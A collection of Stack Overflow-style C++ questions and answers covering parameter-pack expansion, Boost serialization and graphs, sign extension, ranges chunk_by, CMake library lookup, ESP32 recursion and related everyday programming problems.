I know how to use variadic templates and ellipses to accept a variable number of arguments, but how do you pass a variable number of arguments into a function? Take the following code for example: #include <iostream> struct A { A(int a, int b) : x(a), y(b) {} int x, y; }; struct B { B(int a, int b, int c) : x(a), y(b), z(c) {} int x, y, z; }; template<typename T, typename... TArgs> T* createElement(TArgs&&... MArgs) { T* element = new T(std::forward<TArgs>(MArgs)...); return element; } int main() { int Aargs[] = { 1, 2 }; int Bargs[] = { 1, 2, 3 }; A* a = createElement<A>(Aargs); //ERROR B* b = createElement<B>(Bargs); //ERROR std::cout << "a.x: " << a->x << "\na.y: " << a->y << "\n" << std::endl; std::cout << "b.x: " << b->x << "\nb.y: " << b->y << "\nb.z: " << b->z << "\n" << std::endl; delete a; delete b; } Is there any way to expand the arrays so that each of their values is like an argument being passed to the function (similar to parameter pack expansion)? Or, if not, is there any other way to make this work?
You can expand the array using a std::index_sequence #include <iostream> #include <utility> struct A { A(int a, int b) : x(a), y(b) {} int x, y; }; struct B { B(int a, int b, int c) : x(a), y(b), z(c) {} int x, y, z; }; template<typename T, typename... TArgs> T* createElement(TArgs&&... MArgs) { T* element = new T(std::forward<TArgs>(MArgs)...); return element; } template<typename T, typename U, size_t... I> T* createElementFromArrayHelper(std::index_sequence<I...>, U* a){ return createElement<T>(a[I]...); } template<typename T, typename U, size_t N> T* createElementFromArray(U (&a)[N]){ return createElementFromArrayHelper<T>(std::make_index_sequence<N>{}, a); } int main() { int Aargs[] = { 1, 2 }; int Bargs[] = { 1, 2, 3 }; A* a = createElementFromArray<A>(Aargs); B* b = createElementFromArray<B>(Bargs); std::cout << "a.x: " << a->x << "\na.y: " << a->y << "\n" << std::endl; std::cout << "b.x: " << b->x << "\nb.y: " << b->y << "\nb.z: " << b->z << "\n" << std::endl; delete a; delete b; }
71,097,760
71,097,805
How to resolve circular dependence in the following case?
#include <iostream> #include <set> struct ContainerOfA; struct StructA { StructA(ContainerOfA* ptr) : m_b_ptr(ptr) {} void CleanMe() { m_b_ptr->RemoveStructA(this); delete this; } ContainerOfA* m_b_ptr; }; struct ContainerOfA { void RemoveStructA(StructA *a_ptr) { m_set_a.erase(a_ptr); } void RemoveAllStructA() { for (auto &iter : m_set_a) { delete iter; } } std::set<StructA*> m_set_a; }; int main() { return 0; } g++ (GCC) 10.2.1 20210130 test_me.cpp: In member function ‘void StructA::CleanMe()’: test_me.cpp:13:12: error: invalid use of incomplete type ‘struct ContainerOfA’ 13 | m_b_ptr->RemoveStructA(this); | ^~ test_me.cpp:4:8: note: forward declaration of ‘struct ContainerOfA’ 4 | struct ContainerOfA; | ^~~~~~~~~~~~ I ran into a circular dependency issue and the sample example is shown above. Question> Is there a way that I can make it work? Thank you
Just move the problematic code to a point where the class is defined. struct StructA { // ... void CleanMe(); // ... }; struct ContainerOfA { // ... }; inline StructA::CleanMe() { m_b_ptr->RemoveA(this); } By the way, that's a real code smell having an object know what container it's part of. You should try to architect it so that's not necessary.
71,097,765
71,102,418
Boost Serialization, need help understanding
I've attached the boost sample serialization code below. I see that they create an output archive and then write the class to the output archive. Then later, they create an input archive and read from the input archive into a new class instance. My question is, how does the input archive know which output archive its reading data from? For example, say I have multiple output archives. How does the input archive that is created know which output archive to read from? I'm not understanding how this is working. Thanks for your help! #include <fstream> // include headers that implement a archive in simple text format #include <boost/archive/text_oarchive.hpp> #include <boost/archive/text_iarchive.hpp> ///////////////////////////////////////////////////////////// // gps coordinate // // illustrates serialization for a simple type // class gps_position { private: friend class boost::serialization::access; // When the class Archive corresponds to an output archive, the // & operator is defined similar to <<. Likewise, when the class Archive // is a type of input archive the & operator is defined similar to >>. template<class Archive> void serialize(Archive & ar, const unsigned int version) { ar & degrees; ar & minutes; ar & seconds; } int degrees; int minutes; float seconds; public: gps_position(){}; gps_position(int d, int m, float s) : degrees(d), minutes(m), seconds(s) {} }; int main() { // create and open a character archive for output std::ofstream ofs("filename"); // create class instance const gps_position g(35, 59, 24.567f); // save data to archive { boost::archive::text_oarchive oa(ofs); // write class instance to archive oa << g; // archive and stream closed when destructors are called } // ... some time later restore the class instance to its orginal state gps_position newg; { // create and open an archive for input std::ifstream ifs("filename"); boost::archive::text_iarchive ia(ifs); // read class state from archive ia >> newg; // archive and stream closed when destructors are called } return 0; } Example 2 void save_load_with_binary_archive() { // binary archive with stringstream std::ostringstream oss; boost::archive::binary_oarchive oa(oss); Camera cam; cam.id = 100; cam.name = "new camera"; cam.pos = 99.88; oa & (cam); // get binary content std::string str_data = oss.str(); std::istringstream iss(str_data); boost::archive::binary_iarchive ia(iss); Camera new_cam; ia & (new_cam); std::cout << new_cam << std::endl; }
Like others said, you can set up a stream from existing content. That can be from memory (say istringstream) or from a file (say ifstream). All that matters is what content you stream from. Here's you first example modified to save 10 different streams, which can be read back in any order, or not at all: Live On Coliru #include <boost/archive/text_iarchive.hpp> #include <boost/archive/text_oarchive.hpp> #include <fstream> #include <iostream> ///////////////////////////////////////////////////////////// // gps coordinate // // illustrates serialization for a simple type // class gps_position { public: gps_position(int d = 0, int m = 0, float s = 0) : degrees(d) , minutes(m) , seconds(s) {} private: friend class boost::serialization::access; template<class Archive> void serialize(Archive & ar, unsigned ) { ar& degrees& minutes& seconds; } int degrees; int minutes; float seconds; friend std::ostream& operator<<(std::ostream& os, gps_position const& gps) { return os << gps.degrees << "°" << gps.minutes << "′" << gps.seconds << "″"; } }; int main() { for (int i = 1; i <= 10; ++i) { gps_position const g(7 * i, 12 * i - 1, i * 24.567f / 5); // save data to archive { std::ofstream ofs("filename" + std::to_string(i)); boost::archive::text_oarchive oa(ofs); // write class instance to archive oa << g; } } for (int i = 10; i > 0; --i) { // create and open an archive for input std::ifstream ifs("filename" + std::to_string(i)); boost::archive::text_iarchive ia(ifs); gps_position newg; ia >> newg; std::cout << " i:" << i << " - " << newg << "\n"; } } Prints i:10 - 70°119′49.134″ i:9 - 63°107′44.2206″ i:8 - 56°95′39.3072″ i:7 - 49°83′34.3938″ i:6 - 42°71′29.4804″ i:5 - 35°59′24.567″ i:4 - 28°47′19.6536″ i:3 - 21°35′14.7402″ i:2 - 14°23′9.8268″ i:1 - 7°11′4.9134″ After finishing, the contents of each stream will persist in the files: ==> filename1 <== 22 serialization::archive 19 0 0 7 11 4.913399696e+00 ==> filename10 <== 22 serialization::archive 19 0 0 70 119 4.913399887e+01 ==> filename2 <== 22 serialization::archive 19 0 0 14 23 9.826799393e+00 ==> filename3 <== 22 serialization::archive 19 0 0 21 35 1.474019909e+01 ==> filename4 <== 22 serialization::archive 19 0 0 28 47 1.965359879e+01 ==> filename5 <== 22 serialization::archive 19 0 0 35 59 2.456699944e+01 ==> filename6 <== 22 serialization::archive 19 0 0 42 71 2.948039818e+01 ==> filename7 <== 22 serialization::archive 19 0 0 49 83 3.439379883e+01 ==> filename8 <== 22 serialization::archive 19 0 0 56 95 3.930719757e+01 ==> filename9 <== 22 serialization::archive 19 0 0 63 107 4.422060013e+01 SIDENOTE: The comment // archive and stream closed when destructors are called was misleading in your question code because ofs was declared outside that scope block. This difference is important.
71,097,831
71,098,027
Issues converting Hex to Short getting the wrong value
I have a function that converts 2 char values into an unsigned short: unsigned short ToShort(char v1, char v2) { unsigned short s = ((v1 << 8) | v2); return s; } It works most of the time, but occasionally I get a number that is not correct. As we can see, some of the numbers in my output file are around 65000 when they should be a low number. This happens for large numbers as well. One the left, we have good output. On the right, I have my own output. Both outputs use the same input. Bytes are read from a file and stored into an array of chars. This array contained short values. You can see the error when some of the values are put into a short.
char gets a sign extension when OR'ed. Instead of v2 you could do: (v2 & 0xFF) unsigned char would be feasible, too.
71,097,924
71,097,963
Compiler error - is private within this context - Line 31
#include<iostream> #include<string> using namespace std; class Item{ private: string type; string abbrv; string uID; int aircraft; double weight; string destination; public: void print(){ cout << "ULD: " << type << endl; cout << "Abbreviation: " << abbrv << endl; cout << "ULD-ID: " << uID << endl; cout << "Aircraft: " << aircraft << endl; cout << "Weight: " << weight << " Kilograms" << endl; cout << "Destination: " << destination << endl; } friend void kilotopound(Item); }; void kilotopound(Item I){ cout << "Weight in Pounds: " << I.weight * 2.2 << " LBS " << endl; } int main(){ Item I; I.type = "Container"; I.uID = "AYK68943IB"; I.abbrv = "AYK"; I.aircraft = 737; I.weight = 1654; I.destination = "PDX"; I.print(); kilotopound(I); return 0; } Starting on line 31 I'm getting the error 'std::__cxxll::string Item::type' is private within this context I'm basically trying to make the data private from this code class Item{ public: string type; string abbrv; string uID; int aircraft; double weight; string destination; void print(){ cout << "ULD: " << type << endl; cout << "Abbreviation: " << abbrv << endl; cout << "ULD-ID: " << uID << endl; cout << "Aircraft: " << aircraft << endl; cout << "Weight: " << weight << " Kilograms" << endl; cout << "Destination: " << destination << endl; } friend void kilotopound(Item); }; void kilotopound(Item I){ cout << "Weight in Pounds: " << I.weight * 2.2 << " LBS " << endl; } int main(){ Item I; I.type = "Container"; I.uID = "AYK68943IB"; I.abbrv = "AYK"; I.aircraft = 737; I.weight = 1654; I.destination = "PDX"; I.print(); kilotopound(I); return 0; } Any help would be greatly appreciated, I'm just sort of lost on how I can resolve the error. Thanks! Also I need to be able to copy and output the copied data once again if anyone can help with that as well, with private data too. Thanks again!
#include<iostream> #include<string> using namespace std; class Item{ private: string type; string abbrv; string uID; int aircraft; double weight; string destination; public: Item(string t, string a, string u, int aC, double w, string d){ type = t; abbrv = a; uID = u; aircraft = aC; weight = w; destination = d; } void print() { cout << "ULD: " << type << endl; cout << "Abbreviation: " << abbrv << endl; cout << "ULD-ID: " << uID << endl; cout << "Aircraft: " << aircraft << endl; cout << "Weight: " << weight << " Kilograms" << endl; cout << "Destination: " << destination << endl; } friend void kilotopound(Item); }; void kilotopound(Item I){ cout << "Weight in Pounds: " << I.weight * 2.2 << " LBS " << endl; } int main(){ Item I ("Container", "AYK68943IB", "AYK", 737, 1654, "PDX"); I.print(); kilotopound(I); return 0; }
71,098,373
71,099,144
Regex for capturing a block of variable assignments
I have tokens that I need to parse and would like to have a regex that captures them. Here is how the tokens look EVAL INPUT A = 5; INPUT B = 6; ... INPUT LongVariableName = 10; I want to validate that every EVAL block is formatted correctly for parsing. A naive approach I have is to take these tokens and build a string out of them like so: "EVAL:INPUT A = 5;#...#INPUT EXAMPLE = 10;#" where we signify that we have an EVAL with a : separating it from the inputs. Each input is then delimited by a #. Or getting into the spirit of regex, EVAL:(INPUT ID = NUM;#)+, where ID begins with an alphabetic character but can contain any amount of alphanumeric characters after, and NUM is any nonnegative integer. there must always be at least one INPUT. I want this regex to make sure that within the string that we build, each input is instantiated (with INPUT), named (with ID), assigned a value and terminated with = NUM;, and delimited correctly (with #). I am however having trouble how to design the regex so that we are able to capture variable names of any length greater than one.
For validation you can match the string to the following regular expression to determine which blocks are formatted correctly: ^EVAL *\r?\n(?:INPUT +[a-z][a-z\d]* += +\d+; *\r?\n)+ Demo For formatting replacing matches of the following regular expression with a space will get you close: \r?\n(?!EVAL\b) Demo If the string looks like this: EVAL INPUT A = 5; INPUT B = 6; INPUT LongVariableName = 10; EVAL INPUT Dog = 55; INPUT Cat9Lives = 6; the following string will be result: EVAL INPUT A = 5; INPUT B = 6; INPUT LongVariableName = 10; EVAL INPUT Dog = 55; INPUT Cat9Lives = 6;
71,098,653
71,098,754
The variable declared in for-loop of c++ is not initialised
#include <iostream> #include <Windows.h> void selection_sort(int*,int); void output_array(int*, int); int main() { using namespace std; int numbers[] = { 4, 6, 8, 2, 7, 5, 0,1, 3, 9 }; int length = 10; selection_sort(numbers, length); output_array(numbers, length); Sleep(10000); return 0; } void output_array(int* start, int length) { for (int i = 0; i < length; i++) { std::cout << *(start + i) << " "; } std::cout << std::endl; } void selection_sort(int* start, int length) { for (int i = 0; i < length; i++) { int max = *start; int max_i = 0; for (int j = 1; j < (length - i); j++) { //find out the maximum if (max < *(start + j)) { max = *(start + j); max_i = j; } } //put it at the end for (int k = max_i; k < (length - i -1); k++) { //The problem is HERE *(start + k) = *(start + k + 1); } *(start + length - i) = max; } } Perhaps it is a problem simple enough, but why when it comes to the last for loop, k is undefined? Is it because max_i is not a compile-time constant? Variables Program at this step This doesn't make sense to me. When it comes to the second largest number, k behaves as expected.
void selection_sort(int* start, int length) { for (int i = 0; i < length; i++) { int max = *start; int max_i = 0; for (int j = 1; j < (length - i); j++) { //find out the maximum if (max < *(start + j)) { max = *(start + j); max_i = j; } } //put it at the end for (int k = max_i; k < (length - i -1); k++) { *(start + k) = *(start + k + 1); } // The problem was here, you wanted to access memory that does not belong to you. *(start + length - i - 1) = max; }
71,099,358
71,099,478
move assignment from newly constructed object to *this in a member function
Implementing a reset() method, which uses some of the members from this to construct a new object and then move-assign that object to *this. Questions: Does this cause any problems? UB or otherwise? (seems fine to me?) Is there a more idiomatic way? Destructor and move-assignment operator only implemented to prove what is happening/ The real class has neither. "Rule of 5" not followed, as not needed here. #include <algorithm> #include <cstddef> #include <iostream> #include <numeric> #include <ostream> #include <random> #include <vector> struct Thing { // NOLINT Rule of 5 not followed, because debug only public: std::size_t size; std::vector<int> v; explicit Thing(std::size_t size_) : size(size_), v(size_) { std::cerr << "Thing constructor\n"; std::iota(v.begin(), v.end(), 1); } ~Thing() { std::cerr << "Thing destructor\n"; } // purely for debugging Thing& operator=(Thing&& other) noexcept { // purely for debugging std::cerr << "Thing Move Assignment operator\n"; size = other.size; v = std::move(other.v); return *this; } void shuffle() { std::shuffle(v.begin(), v.end(), std::mt19937{1}); // NOLINT fixed seed } void reset() { // move assignment operator from a newly constructed object. Constructor uses SOME of the // member variables of *this *this = Thing(size); } friend std::ostream& operator<<(std::ostream& os, const Thing& t) { os << "["; const char* delim = ""; for (const auto& e: t.v) { os << delim << e; delim = ","; } return os << "]"; } }; int main() { std::cerr << "Before inital construction\n"; auto t = Thing(10); std::cout << t << "\n"; t.shuffle(); // somehow modify the object std::cerr << "Before reset\n"; std::cout << t << "\n"; t.reset(); // reset using std::cerr << "after reset\n"; std::cout << t << "\n"; } Output: Before inital construction Thing constructor [1,2,3,4,5,6,7,8,9,10] Before reset [10,1,3,6,8,5,7,4,2,9] Thing constructor Thing Move Assignment operator Thing destructor after reset [1,2,3,4,5,6,7,8,9,10] Thing destructor
Does this cause any problems? UB or otherwise? (seems fine to me?) As long as the move assignment and the constructor are implemented in such a way that it does what you want, then I don't see a problem. Is there a more idiomatic way? I would invert the direction of re-use. explicit Thing(std::size_t size_) : size(size_), v(size_) { reset(); } void reset() { v.resize(size_); std::iota(v.begin(), v.end(), 1); } If size is supposed to always match the size of the vector, then I would recommend removing the member since the size is already stored inside the vector. This has a caveat that in such case reset won't be able to restore a moved-from thing to its earlier size. But that's typically reasonable limitation.
71,099,803
71,100,697
can ranges split be used with a predicate?
Can this double loop be rewritten using ranges views split() ? #include <vector> #include <span> struct MyPair { int a; char b; }; vector<MyPair> path = {{1,'a'},{1,'z'},{2,'b'},{2,'y'}}; vector<span<MyPair> > spans; for (int i=0; i < path.size();) { auto r = path | ranges::views::drop(i) | views::take_while([&](const MyPair& p){return p.a == path[i].a;}); int size = ranges::distance(r); span<Range> ranges(&path[i], size); spans.push_back(ranges); i += size ; } I want a view of views looking like {{{1,'a'},{1,'z'}},{{2,'b'},{2,'y'}}}
Can this double loop be rewritten using ranges views split() ? Since you're not using a range as a delimiter to split the original range, instead you're using a predicate to split the range, views::split doesn't actually solve the problem. However, C++23 adopted views::chunk_by, and according to its description in [range.chunk.by.overview]: chunk_by_view takes a view and a predicate, and splits the view into subranges between each pair of adjacent elements for which the predicate returns false. The for-loop can be rewritten using views::chunk_by with the appropriate predicate: vector<MyPair> path = ... auto spans = path | std::views::chunk_by([](const auto& l, const auto& r) { return l.a == r.a; }); But currently, no compiler implements this range adaptor, the alternative is to use range-v3's views::group_by. Demo It is worth noting that ranges::views::group_by is not functionally equivalent to std::views::chunk_by: the former always compares the first element in each subrange with each subsequent one, while the latter always compare consecutive elements.
71,099,900
71,102,215
How to use vertex dentifiers in Boost graph of size int64_t
I am trying to add edges to a Boost undirected graph using boost::add_edge(...). The graph is defined as: using osm_id_t = int64_t; typedef boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, // vertex properties boost::property<boost::vertex_index_t, osm_id_t, boost::property<boost::vertex_color_t, boost::default_color_type> >, // edge properties boost::no_property> UndirectedOSMIdGraph; I do not get compile errors. My code works fine, if the vertices are ints (e.g. boost::add_edge(1, 2, g)). However, as soon as I add vertices as int64_t, I get a "terminate called after throwing an instance of 'std::bad_alloc' UndirectedOSMIdGraph g; osm_id_t large {1810014749}; boost::add_edge (large, 2, g); //if instead large is just 1 it works boost::add_edge (2, 3, g); ... I guess I have to specify somehow the size of the vertex numbers - but I just do not understand how to do it. Note: I do not want to add extra properties to the vertices - I just need large numbers for the vertices (because they are identifiers from OpenStreetMap).
Using vecS the vertex index is implicit. They correspond to the index in the vertex storage container, which is vector. This means that using vertex index 1810014749 on g would be Undefined Behaviour if you have fewer than 1810014750 vertices. "Luckily" (?) for you add_edge is smart enough to detect this and resize the vector in the case of vecS container selector, so it tries to allocate enough storage for the highest vertex id mentioned before adding the edge, which fails because your program doesn't have access to that much memory: at /usr/include/c++/10/ext/new_allocator.h:115 115 return static_cast<_Tp*>(::operator new(__n * sizeof(_Tp))); Here, 1810014750 * sizeof(_Tp) is 14,48 GB. Other than that, 64 bits is no problem, since the vertex descriptor would already be 64 (albeit unsigned): using V = UndirectedOSMIdGraph::vertex_descriptor; static_assert(not std::is_same_v<osm_id_t, V>); static_assert(std::is_same_v<std::make_unsigned_t<osm_id_t>, V>); static_assert(sizeof(osm_id_t) == sizeof(V)); So as long as you don't actually use negative osm_id_t there was no technical barrier to using osm_id_t as the index. "Sparse" vertex index If your vertex index isn't dense then vecS might be less suited for your storage. Consider using something else: Live On Compiler Exlorer #include <boost/graph/adjacency_list.hpp> #include <boost/graph/graph_utility.hpp> using osm_id_t = int64_t; using UndirectedOSMIdGraph = boost::adjacency_list< boost::vecS, boost::listS, boost::undirectedS, boost::property< boost::vertex_index_t, osm_id_t, boost::property<boost::vertex_color_t, boost::default_color_type>>, boost::no_property>; using V = UndirectedOSMIdGraph::vertex_descriptor; static_assert(not std::is_same_v<std::make_unsigned_t<osm_id_t>, V>); int main() { UndirectedOSMIdGraph g; osm_id_t large{1810014749}; auto v2 = add_vertex(2, g); add_edge(add_vertex(large, g), v2, g); add_edge(v2, add_vertex(3, g), g); print_graph(g); } Prints 2 <--> 1810014749 3 1810014749 <--> 2 3 <--> 2
71,100,119
71,100,269
Should constructor call init or vice versa?
In a case where I want to allow initializing a class directly in the construction, as well as allowing an empty instance (either default-constructed or that has had some kind of close() method called on it) to be initialized, is there any reason to prefer either of these two options for avoiding code duplication? init/open calls constructor: struct S { S(params...) : initlist... { ... init code ... } void init(params...) { *this = S(params...); } ... }; Constructor calls init/open: struct S { S(params...) { init(params...); } void init(params...) { ... init code ... } ... }; Think for example a class representing a file, that can have the path passed to the constructor or call an open() method later.
I would argue neither. Except in rare instances where you want a two step construction process, I'd argue against having an "init" method at all. Your first option "init calls constructor" actually uses an assignment or move operator for the initializing process. But it hides the fact that is does so. Why? Wouldn't this be better, instead of introducing another method: S obj; // create default instance obj = S(params...); // init instance with assignment/move operator // or after a close() obj.close(); obj = S(params...); Your second option is something seen a lot in older C++ code, pre C++14 (11 perhaps), where delegating constructors had not been created. Usually with classes that had more than one constructor. S(int one, param two, special three) { init(one, two); // and do something with three someThree = three; } s() { init(10, param::none); } Here init would be used for some basic, common initialization and specific initialization could be added after that. But with delegating constructors, init could easily be replaced by a specific 'base' constructor and the other constructors would simply use it. S(int one, param two) { myOne = one; ... // other default 'init' stuf } S(int one, param two, special three) :S(one, two) // call "init", delegate to the "init" constructor { // and do something with three someThree = three; } } My argument here is that init is a constructor and should be written as such and not as "init". Or, to put it the other way round, once you have constructed an object, there is no need for another "init". A constructor should fully initialize an object. Anything done to the object after that is not initialization. You could have a reset, if you want specific parameters to be reset. But that's not really an "init".
71,100,425
71,100,731
C++ Esp32 functional infinite loop
So I've such of a code: void B(); void C(); void A() { Serial.println("Looping"); B(); } void B() { C(); } void C() { A(); } void setup() { Serial.begin(115200); A(); } void loop() { }; and it works just fine, but when I want to add a condition, like this: bool flag = false; void B(); void C(); void A() { Serial.println("Looping"); if(flag) B(); else C(); } void B() { flag = false; A(); } void C() { flag = true; A(); } void setup() { Serial.begin(115200); A(); } void loop() { }; After a while my esp32 throws a backtrace and reboots: Guru Meditation Error: Core 1 panic'ed (Unhandled debug exception) Debug exception reason: Stack canary watchpoint triggered I need some kind of solution to run B() or C() and "forget" about A() body, as I understood this problem. UDP It's just a skelet of a real code, I'm using FreeRTOS (xTaskCreate, ...) to run the logic, I`ve an idea: 1) Create 2 Tasks (one of them will be running) 2) Later pass the function I want to call, delete running 3) Such way by switching tasks it should work I've such logic in a project: void B(); void C(); void A() { if(server.connect()) while(server.isConnected()) { //makeUpdate, receive new messages } // as it fails, make reconnect //check wifi connection if(wifi) B(); else C(); } void B() { // Update Connection With Wifi // Go back to connect A(); } void C() { // Update Connection With Gprs // Go back to connect A(); } void setup() { Serial.begin(115200); A(); } void loop() { };
Calling functions like that will cause an infinite recursion, exhaust the stack and make the whole thing crash. You could call all the functions from inside loop() and other functions just return which function should be called next. char A() { Serial.println("Looping"); if(flag) return 'B'; else return 'C'; } char B() { // Update Connection With Wifi // Go back to connect return 'A'; } char C() { // Update Connection With Gprs // Go back to connect return 'A'; } void setup() { Serial.begin(115200); } void loop() { static char next_function = 'A'; switch(next_function) { case 'A': next_function = A(); break; case 'B': next_function = B(); break; case 'C': next_function = C(); break; } }
71,100,494
71,106,802
list changed function names or signatures with git diff (c++)
I'm working on a git diff parser. The main task is to find all changed function signatures. Sometimes in the chunk line with @@@ .... @@@ contains these information but sometimes not. Last time I changed in greet() cout message and it is visible on first image as changed line and it is correct, but above in @@@... line appears "void functOne() {" and that is not changed. The second picture is about a dummy cpp source code to test git diff. The main questions are How can I list all changed function's signatures? Why sometimes appears unchanged function name ? Why sometimes doesn't appears any function name/signature in line with @@@.... ?
Sometimes in the chunk line with @@@ .... @@@ Git calls this a hunk header (after other diff software that also calls it that). ... contains [the function name] but sometimes not. What Git puts in the function section of a diff hunk header is produced by matching earlier lines against a particular regular expression, as described in the gitattributes documentation under xfuncname (search for that string). But note that this is a regular expression, and regular expressions are inherently less capable than parsers; there will always exist valid C++ constructs that can be parsed, but not recognized by some regular expression you can write. If Git's built in C++ xfuncname pattern is not adequate for your use, you can write your own pattern. But it's always going to be limited because regular expressions can only recognize regular languages (these are CS-theoretical or informatics terms, not to be interpreted as ordinary English language; for more, see, e.g., Regular vs Context Free Grammars).
71,100,549
71,334,432
GPU Heightmap sculpting in shader
i have successfully done the sculpting implementation on CPU, throw some guide on how to do this on GPU kindly … i have moved the sculpting code to vertex shader but the sculpting is not accumulating in vertex shader and cant modify position in vertex shader… kindly tell me how … if (SculptMode.x == 1)//Raise { float dist = length(int2(PickedPoint.xz) - input.position.xz); if (dist <= BrushRadius.x) { PositionOffset += (BrushRadius.y * (cos(PI * dist / float(BrushRadius.x)) + 1.0f) * 0.5f) * DeltaTime.x * 10.0f; input.position.y = PositionOffset; } } I am using RWTexture2D for it like ... if (SculptMode.x == 1)//Raise { float dist = length(uint2(PickedPoint.xz) - input.position.xz); if (dist <= BrushRadius.x) { PositionOffset[int2(input.position.xz)] += BrushRadius.y * smoothstep(0, BrushRadius.x, BrushRadius.x - dist) * DeltaTime.x * 10.0f; } } but still my sculpting is in spike formation ... then input.position.y = PositionOffset[int2(input.position.xz)];
changed implementation to completely different method, this wont work as i think this quantization is happening because there are vertex which are shared among triangles and sculpting adjustment is applied multiple times to same vertex, that is why spikes…
71,100,772
71,100,956
How to require child class method to call parent class method?
Let's say I have a parent class A. class A { public: A() {} void MyMethod() { printf( "A\n" ); } }; And I have a child class B. class B : public A { public: B() {} void MyMethod() { printf( "B\n" ); } }; Now, I would like to require class B to call A::MyMethod(), without explicitly calling it, as shown above. Resulting in: A B Or B A Would that be possible? Right now B->MyMethod() only calls the child method.
Non-Virtual Interface idiom has the base class define a public non-virtual member function, and a private virtual member function that is an override point for derived classes. The public non-virtual member function acts as a public facing API. The private virtual member function acts as a class hierarchy facing API. Separating those two concerns can be a handy technique especially for larger projects, and for debugging purposes, and for ensuring pre- and post- operations in the base class's public non-virtual member function. #include <iostream> using std::cout; namespace { class A { virtual void MyMethodImpl() const { // Derived classes should override this virtual member function // and add their extra steps there. } public: virtual ~A() = default; A() {} void MyMethod() const { cout << "A::MyMethod before steps.\n"; MyMethodImpl(); cout << "A::MyMethod after steps.\n"; } }; class B : public A { void MyMethodImpl() const override { cout << "B::MyMethodImpl extra steps.\n"; } public: B() {} }; } // anon int main() { B b; b.MyMethod(); }
71,100,809
71,219,765
Source engine - Acceleration formula
I was going through the player movement code for the source engine when I stumbled upon the following function: void CGameMovement::Accelerate( Vector& wishdir, float wishspeed, float accel ) { int i; float addspeed, accelspeed, currentspeed; // This gets overridden because some games (CSPort) want to allow dead (observer) players // to be able to move around. if ( !CanAccelerate() ) return; // See if we are changing direction a bit currentspeed = mv->m_vecVelocity.Dot(wishdir); // Reduce wishspeed by the amount of veer. addspeed = wishspeed - currentspeed; // If not going to add any speed, done. if (addspeed <= 0) return; // Determine amount of accleration. accelspeed = accel * gpGlobals->frametime * wishspeed * player->m_surfaceFriction; // Cap at addspeed if (accelspeed > addspeed) accelspeed = addspeed; // Adjust velocity. for (i=0 ; i<3 ; i++) { mv->m_vecVelocity[i] += accelspeed * wishdir[i]; } } Although I do understand the concept of utilising the wishdir & wishspeed to calculate the velocity increment, I cannot figure out why they use the wishspeed and m_surfaceFriction in the calculation of accelspeed: accelspeed = accel * gpGlobals->frametime * wishspeed * player->m_surfaceFriction; I think it somehow compensates for the reduction in velocity due to friction that was calculated earlier, but multiplying these two variables with accel * gpGlobals->frametime does not seem to make physical sense. Would somebody be able to explain the thoughts behind this calculation and why this extra wishspeed * player->m_surfaceFriction factor is applied to the accelspeed?
My Interpretation I think author make wishspeed simply act as scaler for accel, so the speed of currentspeed reach the wishspeed linear correlated to magnitude of the wishspeed, thus make sure the time required for currentspeed reach the wishspeed is approximately the same for different wishspeed if other parameters stay the same. And reason above that is because this could create some sort of urgent and relaxing effects which author desired for character's movement, i.e when speed we wish for character is big(small) then character's acceleration is also big(small), no matter sprint or jog, speed change well be finished in roughly same time period. And player->m_surfaceFriction is even more obvious, author just want an easy(linear) way to let surface friction value affect player's acceleration. Some advice From my own experience, when trying to understand the math related mechanism inside the realm of game development, especially physics or shader, we should focus more on the end effect or user experience the author trying to create instead of the mathematical rigor of the formula. We shouldn't trap ourselves with question like: is this formula real? or the formula make any physical sense? Well, if you look and any source code of physics simulation engine, you'll find out most of them if not all of them does not using real life formula, instead they rely on bunch of mathematical tricks to create the end effect that mimic our expectation of real life physics. E.g, PBD or XPBD one of the most widely used algorithm for cloth or softbody simulation, as name suggest, is position based dynamic, meaning they modify the particle's position explicitly, not as one may expected in a implicit way like in real life (force effect velocity then effect position), why do we using algorithm like this? because it create the visual effect match our expectation better.
71,100,867
71,101,093
Is it better to add two numbers to a new variable or adding them together while displaying?
Which is better: int sum = a + b; std::cout << sum; std::cout << a + b; In terms of performance and efficiency?
Is it better two add two numbers to a new variable No, it's not better in general. or adding them together while displaying? No, it's not better in general. Either is usually fine. The intermediate local variable has advantages such as ability to give an understandable name, and it reduces the complexity of individual expressions. But adding a variable increases the total number of names which is another form of complexity. It's a matter of finding a good balance, and the "bestness" is subjective. In terms of performance and efficiency? Not using a local variable is pretty much never more efficient than using a variable. But there is no difference in the shown example. Furthermore, there is no difference in most simple cases. The difference - if any - is primarily in readability. Consider another example where you use the result of the operation multiple times. In that case, it would be rare for a program that repeats an operation to be more efficient than another program that stores the result in a variable. But there's still no difference if the case is simple.
71,100,874
71,101,153
How to install external library from source for cmake to find it?
Say I am writing a library my_project that uses some other library dependency_lib. What I'm currently doing during development is: I've cloned the code of the dependency to some normal, human accessible directory in my file system. I've built that library according to the instructions from its developers, and now I have a shared library dependency_lib.so somewhere in that directory. Then in my CMakeLists.txt I have: find_library(DEPENDENCY_LIB dependency_lib HINTS /home/my_name/Documents/path/to/the/built/dependency/lib) target_link_libraries(my_project PRIVATE ${DEPENDENCY_LIB}) This works great for me, but obviously when other people clone my code and try to build it, they will have that external library at some other location on their system, so this won't work for them. Is there some standard location to put built libraries in for cmake to find them, where I can assume other developers also put their built libraries in? Is it even reasonable for me to expect other developers/users of my library to also clone the source code of the dependency and build it, or is there some other solution for external dependencies on C++? Any comments, explanations and resources on dependency management with cmake are very appreciated. Bonus question: Why can't this be as simple as Python with pip, Rust with cargo or JavaScript with npm?
Mostly, developers add SDKs folder to let others use the required SDKs. It may be because they did minor/major changes inside the library and it became a custom build version and special for them. So, it means, they have to pack it inside the project since others can't find the modified version of that library. And I think, this is what you're looking for: find_package(Library ${LIB_VERSION} EXACT REQUIRED PATHS "${LIB_DIR}") By declaring PATHS you can have CMake look for the libraries specific directories.
71,101,365
71,101,492
How to achieve the following? C++ "advanced" map/list/array?
I am trying to create some sort of list, map or what ever may be suggested that does the following something [] = { mainvalue1 = 2001 { value2 = 1905 value3 = 2000 result = 500 value2 = 1910 value3 = 2030 result = 700 } mainvalue2 = 2005 { value2 = 1635 value3 = 2070 result = 300 value2 = 2310 value3 = 5930 result = 599 } } cout << "result: " << something[2001][1905][2000] << endl; result: 500 cout << "result: " something[2001][1910][2030] << endl; result: 700 cout << "result: " something[2005][2310][5930] << endl; result: 599 Is this possible? I would appreciate if someone could guide me how to start my thought process or give me an example how this can be achievable in C++
